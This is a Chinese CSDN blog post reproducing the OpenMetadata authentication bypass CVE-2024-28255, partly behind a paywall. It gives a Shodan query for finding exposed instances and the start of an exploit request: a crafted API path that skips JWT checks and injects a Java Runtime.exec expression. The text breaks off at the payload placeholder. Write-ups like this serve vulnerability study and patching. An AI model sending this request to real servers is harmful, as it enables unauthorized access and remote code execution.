【漏洞复现】OpenMetadata 身份验证绕过漏洞(CVE-2024-28255)

最新推荐文章于 2024-10-15 15:24:52 发布

从不学安全

最新推荐文章于 2024-10-15 15:24:52 发布

阅读量271

点赞数

分类专栏：漏洞复现文章标签：网络安全

本文链接：https://blog.csdn.net/qq_67810151/article/details/137510685

版权

漏洞复现专栏收录该内容

99 篇文章 33 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了OpenMetadata的身份验证绕过漏洞（CVE-2024-28255），攻击者可利用路径参数避开JWT验证，访问任意端点。内容包括漏洞概述、复现步骤和影响范围。

摘要由CSDN通过智能技术生成

0x01 产品简介

OpenMetadata 是一个统一的发现、可观察性和治理平台，由中央元数据存储库、深入的沿袭和无缝的团队协作提供支持。

0x02 漏洞概述

OpenMetadata存在身份认证绕过漏洞，攻击者可能会使用路径参数使任何路径包含任意字符串。例如，对“GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111' 将与排除的端点条件匹配，因此将在不进行 JWT 验证的情况下进行处理，从而允许攻击者绕过身份验证机制并访问任意端点。

0x03 测绘语句

shodan: http.favicon.hash:733091897

0x04 漏洞复现

GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22{
  {payloa

了解本专栏